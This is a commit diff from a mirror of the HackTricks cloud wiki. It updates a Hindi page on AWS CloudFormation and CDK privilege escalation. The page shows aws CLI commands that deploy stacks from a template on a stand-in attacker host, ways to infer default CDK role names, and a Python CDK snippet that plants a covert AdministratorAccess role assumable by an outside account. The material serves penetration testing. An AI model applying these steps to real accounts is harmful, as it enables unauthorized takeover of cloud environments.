mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 07:00:38 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -12,7 +12,7 @@ cloudformation के बारे में अधिक जानकारी
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
इन अनुमतियों के साथ एक हमलावर **privileges को बढ़ा सकता है** एक **CloudFormation stack** को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:**
|
||||
इन अनुमतियों के साथ एक हमलावर **अधिकारों को बढ़ा सकता है** एक **CloudFormation स्टैक** को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
@@ -43,17 +43,17 @@ aws cloudformation update-stack \
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से जुड़ी हुई हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।
|
||||
यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट** कर सकते हैं और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।
|
||||
|
||||
`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
|
||||
|
||||
**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से जुड़ी हुई है।
|
||||
**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से ही संलग्न है।
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
एक हमलावर जिसके पास **भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है** वह **एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है** जैसे कि CreateStack या UpdateStack के साथ।
|
||||
|
||||
निम्नलिखित शोषण **CreateStack एक**[ **का एक भिन्नता है**](./#iam-passrole-cloudformation-createstack) जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है।
|
||||
निम्नलिखित शोषण **CreateStack एक**[ **का एक भिन्नता है**](#iam-passrole-cloudformation-createstack) जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है।
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -85,7 +85,7 @@ aws cloudformation describe-stacks \
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए का दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें:
|
||||
यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए को दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
@@ -93,18 +93,63 @@ aws cloudformation describe-stacks \
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट बनाने/अपडेट करने के लिए दुरुपयोग कर सकता है ताकि मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
|
||||
एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट्स को बनाने/अपडेट करने के लिए क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है।
|
||||
|
||||
**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क।
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
एक हमलावर इस अनुमति का दुरुपयोग बिना passRole अनुमति के स्टैकसेट को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
|
||||
एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
|
||||
|
||||
**संभावित प्रभाव:** जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क।
|
||||
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk एक टूलकिट है जो उपयोगकर्ताओं को उनके परिचित भाषाओं में अपने बुनियादी ढांचे को कोड के रूप में परिभाषित करने की अनुमति देता है, साथ ही अनुभागों का आसानी से पुन: उपयोग करने की सुविधा भी देता है। CDK फिर उच्च-स्तरीय कोड (जैसे पायथन) को क्लाउडफॉर्मेशन टेम्पलेट्स (yaml या json) में परिवर्तित करता है।
|
||||
|
||||
CDK का उपयोग करने के लिए, एक प्रशासनिक उपयोगकर्ता को पहले खाते को बूटस्ट्रैप करना होगा, जो कई IAM भूमिकाएँ बनाता है, जिसमें *exec role* शामिल है, जिसके पास \*/\* अनुमतियाँ होती हैं। ये भूमिकाएँ नामकरण संरचना `cdk-<qualifier>-<name>-<account-id>-<region>` का पालन करती हैं। बूटस्ट्रैपिंग को प्रति क्षेत्र प्रति खाते एक बार किया जाना चाहिए।
|
||||
|
||||
डिफ़ॉल्ट रूप से, CDK उपयोगकर्ताओं को CDK का उपयोग करने के लिए आवश्यक भूमिकाओं की सूची बनाने की अनुमति नहीं होती है, जिसका अर्थ है कि आपको उन्हें मैन्युअल रूप से निर्धारित करना होगा। यदि आप किसी डेवलपर की मशीन या किसी CI/CD नोड से समझौता करते हैं, तो इन भूमिकाओं को ग्रहण किया जा सकता है ताकि आप CFN टेम्पलेट्स को तैनात करने की क्षमता प्राप्त कर सकें, `cfn-exec` भूमिका का उपयोग करके CFN को किसी भी संसाधन को तैनात करने की अनुमति देने के लिए, जिससे खाते का पूर्ण समझौता हो जाता है।
|
||||
|
||||
### भूमिका नाम निर्धारित करना
|
||||
|
||||
यदि आपके पास `cloudformation:DescribeStacks` है, तो भूमिकाएँ `CDKToolkit` नामक एक स्टैक में परिभाषित हैं, और आप वहां से नाम खींच सकते हैं।
|
||||
|
||||
यदि आप किसी मशीन पर हैं जिसका उपयोग CDK परियोजनाओं को बनाने और तैनात करने के लिए किया गया है, तो आप उन्हें परियोजनाओं की मूल निर्देशिका में `cdk.out/manafest.json` से खींच सकते हैं।
|
||||
|
||||
आप यह भी अनुमान लगा सकते हैं कि वे क्या हैं। `qualifier` एक स्ट्रिंग है जो भूमिकाओं में जोड़ी जाती है जिससे एक साथ कई CDK बूटस्ट्रैप के उदाहरण तैनात किए जा सकें, हालाँकि डिफ़ॉल्ट मान को हार्ड-कोड किया गया है `hnb659fds`।
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### परियोजना स्रोत में दुर्भावनापूर्ण कोड जोड़ना
|
||||
|
||||
यदि आप परियोजना स्रोत में लिख सकते हैं, लेकिन इसे स्वयं तैनात नहीं कर सकते (उदाहरण के लिए, डेवलपर कोड को CI/CD के माध्यम से तैनात करता है, न कि स्थानीय मशीन से), तो आप स्टैक में दुर्भावनापूर्ण संसाधन जोड़कर वातावरण को समझौता कर सकते हैं। निम्नलिखित एक IAM भूमिका जोड़ता है जिसे एक हमलावर खाते द्वारा ग्रहण किया जा सकता है एक python CDK परियोजना में।
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user